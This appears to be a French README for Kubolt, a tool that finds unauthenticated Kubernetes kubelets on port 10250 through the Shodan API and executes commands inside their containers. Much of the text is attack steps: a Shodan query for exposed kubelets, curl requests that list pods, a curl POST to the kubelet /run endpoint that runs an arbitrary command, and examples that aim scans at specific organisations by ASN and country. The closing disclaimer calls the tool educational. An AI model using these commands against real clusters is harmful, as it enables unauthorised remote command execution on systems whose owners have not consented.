
Kubolt utilitaire pour scanner les clusters Kubernetes publics
Kubolt est un utilitaire simple pour scanner les clusters Kubernetes publics non authentifiés et exécuter des commandes dans les conteneurs
Parfois, le port kubelet 10250 est ouvert à un accès non autorisé et permet d'exécuter des commandes dans les conteneurs en utilisant la fonction getrun de kubelet:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
Ok, demandons à notre ami Shodan :trollface:
La requête de base est
ssl:true port:10250 404
Kubelet utilise le port 10250 avec SSL par défaut, 404 est la réponse HTTP sans chemin d'URL.
Kubolt interroge Shodan via l'API pour obtenir une liste d'adresses IP et les conserve pour d'autres actions OSINT 😁
Tout d'abord, demandons à Kubelet la liste des pods en cours d'exécution et filtrons les hôtes où la réponse ne contient pas Unauthorized et contient container afin de pouvoir exécuter une commande à l'intérieur.
curl -k https://IP-from-Shodan:10250/runningpods/
Quoi qu'il en soit, si vous trouvez un hôte sans aucun pod en cours d'exécution à ce moment-là, gardez-le pour la prochaine fois où des pods pourraient être lancés 😁
Vous pouvez lister tous les pods disponibles à partir de ces requêtes :
curl -k https://IP-from-Shodan:10250/pods/
#ou
curl http://IP-from-Shodan:10255/pods/
Ensuite kubolt analyse la réponse et génère une nouvelle requête comme ci-dessous :
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
Vous pouvez cibler les entreprises plus précisément en utilisant les filtres Shodan tels que :
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#ou
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt utilise l'API Shodan et les Crédits de requête en conséquence ; si vous exécutez l'outil sans filtres de requête, vous risquez de brûler tous vos crédits ¯\_(ツ)_/¯

L'outil fourni par l'auteur ne doit être utilisé qu'à des fins éducatives. L'auteur ne peut être tenu responsable d'une mauvaise utilisation de l'outil. L'auteur n'est pas responsable des dommages directs ou indirects causés par l'utilisation de l'outil.